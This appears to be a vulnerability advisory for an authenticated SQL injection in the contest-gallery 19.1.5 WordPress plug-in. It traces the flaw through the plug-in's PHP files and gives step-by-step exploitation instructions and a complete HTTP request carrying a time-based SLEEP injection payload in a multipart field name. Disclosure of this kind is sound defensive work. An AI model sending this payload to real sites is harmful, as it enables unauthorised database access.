contest-gallery 19.1.5 (12/15) WordPress plug-in SQL injection

Vulnerability Metadata

Vulnerability Description

The addCountS MULTIPART POST query parameter in contest-gallery 19.1.5 is vulnerable to SQL Injection. An attacker with role of Author or above may abuse the Manipulate Rating functionality in 4_activate.php. This leads to a threat actor crafting malicious POST request.

Exploitation Guide

Note: In some cases, the line number mentioned in description text above the image can be different from the image shown below it. This change is due to lines of code wrapping, which is done to represent long lines of code in the image. The description text represents the actual line number in the application.

Create a New Gallery, if no gallery was created before.

Change the Gallery name.

Click on Edit gallery.

Click Add files and upload an image/allowed files.

Once it's uploaded, Manipulate votes up by any number(+6 here) and click on Change/Save data.

Clicking Change/Save data triggers the vulnerable request.

The request needs to be modified by changing key of MULTIPART POST parameter addCountS[1].

A POC may look like the following request:

In the application code, the vulnerability is triggered by un-sanitized user input of addCountS[key] at line 586 in ./v10/v10-admin/gallery/change-gallery/0_change-gallery.php. Furthermore, addCountS -> $key is assigned to addCountChange[key].

Parameter addCountChange(array(1)) value is then assigned to $ids in ./v10/v10-admin/gallery/change-gallery/4_activate.php.

At line 270 in ./v10/v10-admin/gallery/change-gallery/4_activate.php the vulnerable input is again passed to variable- $collect.

At line 461 in ./v10/v10-admin/gallery/change-gallery/4_activate.php database query call on $collect leads to SQL Injection.

Exploit Payload

Please note that cookies and nonces need to be changed according to your user settings, otherwise the exploit will not work.

The SQL injection can be triggered by sending the request below:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/wp-admin/admin.php?page=contest-gallery%2Findex.php
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------19123588403344585440977856331
Content-Length: 2041
Origin: http://localhost:8080
Connection: close
Cookie: wordpress_37d007a56d816107ce5b52c10342db37=pegasus%7C1668532775%7Ce9naGH0Y1x4WXb9vxCjC8JDEhkEcfRIJuC2uoLiJUrE%7Ce93774011f8915e8d1b69955e8c50a905c9040c9c17efcca7b42f24fb32f43e2; wp-settings-time-2=1667954049; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=pegasus%7C1668532775%7Ce9naGH0Y1x4WXb9vxCjC8JDEhkEcfRIJuC2uoLiJUrE%7C2bc19f40221c8d9c3d9219517701a229fe9080215045fe6a050c6d9b594282b3; wp-settings-time-5=1668467252; wp-settings-5=libraryContent%3Dbrowse
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------19123588403344585440977856331
Content-Disposition: form-data; name="cgGalleryFormSubmit"

1
-----------------------------19123588403344585440977856331
Content-Disposition: form-data; name="action"

post_cg_gallery_view_control_backend
-----------------------------19123588403344585440977856331
Content-Disposition: form-data; name="cgGalleryHash"

355b5e0384230f74e41bc47f47d94aef
-----------------------------19123588403344585440977856331
Content-Disposition: form-data; name="cg_id"

1
-----------------------------19123588403344585440977856331
Content-Disposition: form-data; name="cg_start"


-----------------------------19123588403344585440977856331
Content-Disposition: form-data; name="cg_step"

10
-----------------------------19123588403344585440977856331
Content-Disposition: form-data; name="cg_order"

custom
-----------------------------19123588403344585440977856331
Content-Disposition: form-data; name="cgVersionScripts"

19.1.5
-----------------------------19123588403344585440977856331
Content-Disposition: form-data; name="cg_search"


-----------------------------19123588403344585440977856331
Content-Disposition: form-data; name="addCountS[1/**/AND/**/(SELECT/**/7741/**/FROM/**/(SELECT(SLEEP(5)))hlAf)]"

6
-----------------------------19123588403344585440977856331
Content-Disposition: form-data; name="cg_email[2]"

df@kc.org
-----------------------------19123588403344585440977856331
Content-Disposition: form-data; name="cg_image_name[2]"

10x-featured-social-media-image-size
-----------------------------19123588403344585440977856331
Content-Disposition: form-data; name="chooseAction1"

1
-----------------------------19123588403344585440977856331
Content-Disposition: form-data; name="cgBackendHash"

e12e8782da8ac6c4f1725d81a9811524
-----------------------------19123588403344585440977856331
Content-Disposition: form-data; name="cgIsRealFormSubmit"

true
-----------------------------19123588403344585440977856331--